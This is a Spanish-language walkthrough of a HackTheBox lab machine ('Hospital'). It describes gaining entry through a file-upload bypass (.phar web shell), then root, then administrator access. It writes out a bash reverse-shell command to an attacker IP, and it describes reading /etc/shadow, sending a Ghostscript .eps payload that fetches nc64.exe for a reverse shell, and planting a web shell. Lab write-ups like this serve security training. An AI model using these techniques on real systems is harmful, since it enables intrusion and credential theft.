Después de revisar todos los puertos nos interesan sobre todo los puertos 8080 y 443, que son a los que podemos acceder.
El puerto 443 se corresponde con el servicio https, por lo que añadimos hospital.htb a nuesto /etc/hosts y al acceder a entramos a un webmail:
Al entrar por el puerto 8080 nos encontramos una página de login, de lo que parece un hospital:
En el código fuente no encontramos nada relevante ni ningún usuario, por lo que vamos a crearnos una cuenta. Al crearla accedemos a un index.php con un apartado para subir un archivo:
Hacemos una prueba a subir una imagen cualquiera y deja subirlo sin problema, por lo que a priori podríamos subir una webshell:
Fuzzing
Al fuzzear con dirsearch el puerto 8080 nos encontramos un directorio config.php o un directorio /uploads, donde se podrían subir los archivos:
Al intentar acceder a uploads nos da un Forbidden por lo que vamos a utilizar Pownyshell y vamos a subirlo al servidor para evadir esto:
No deja subir archivos php, por lo que después de cargar varios formatos de archivo, descubrimos la opción de cargar el archivo shell.phar en lugar de shell.php.
Accedemos a /uploads/shell.phar y nos devuelve la shell interactiva.
Con which bash averiguamos la ruta donde podemos ejecutar archivos por terminal, y creamos una reverse shell con un netcat en escucha en Kali:
# En kalinc-nlvp4444# En Pownyshell/usr/bin/bash-c'bash -i >& /dev/tcp/10.10.14.63/4444 0>&1'
Obtenemos acceso remoto y intentamos obtener alguna versión del sistema para encontrar posibles exploits.
Detectamos una versión de Ubuntu y vamos a intentar elevar nuestros privilegios a root.
Para elevar nuestros privilegios de www-data a root lo primero que haremos será ejecutar un linpeas para ver posibles puntos de elevación de privilegios:
Encontramos un archivo con permisos interesantes marcado como crítico en /var/tmp/bash por lo que vamos a explotar esto añadiendo -p
¡Ou Yeah! Hemos obtenido con éxito acceso de root a la máquina Linux.
Después de eso, inspeccionamos el contenido de /etc/passwd y descubrimos que el usuario es drwilliams. Así que revisemos /etc/shadow en busca de hashes de contraseñas:
Probamos a conectarmos por SSH y nos conectamos correctamente:
A priori no hay nada que nos atraiga dentro, solo una carpeta go, con archivos que no hacen nada relevante.
Vamos a conectarnos al webmail que encontramos en hospital.htb con las credenciales que hemos obtenido:
El remitente del email del inbox es otro usuario: drbrown. Interesante.
Al explorar el servicio de correo web, parece ser una plataforma para enviar correos electrónicos. Al recibir un correo en forma de archivo .eps, vale la pena señalar que dichos archivos a menudo utilizan Ghostscript para su ejecución. Esto podría conducir a la identificación de un posible exploit.
Este exploit se usa para generar un archivo .eps usando un script Python específico con un payload inyectado.
El primer comando inyecta un payload que descarga un archivo (nc64.exe) usando curl, y el segundo comando inyecta una carga útil que ejecuta nc.exe para establecer una conexión de shell inversa.
Una vez que haya generado el file.eps lo enviamos al Dr. Brown. En la máquina Linux, iniciamos un Netcat listener y esperamos pacientemente la conexión de shell del usuario Dr. Brown.
¡Ouuuu yeah! Obtenemos una reverse shell y conseguimos el user flag 😎
Escalada de Privilegios
En la carpeta Documents encontramos un archivo ghostscript.bat con una contraseña para el usuario mrbrown. Esto nos permite conectarnos por rpcclient:
Una vez conectado, utilice el comando "querydispinfo" para examinar los datos. Aquí descubrí que la información del administrador se comparte con el invitado.
Nos vamos a la carpeta xampp\htdocs y subimos un Pownyshell, lo que nos va a permitir subir la webshell a la raiz de hospital.htb
Ahora accedemos en el navegador a: https://hospital.htb/shell.php
¡Lo conseguimos! Obtenemos con éxito un shell como administrador y accedemos al root flag 🏆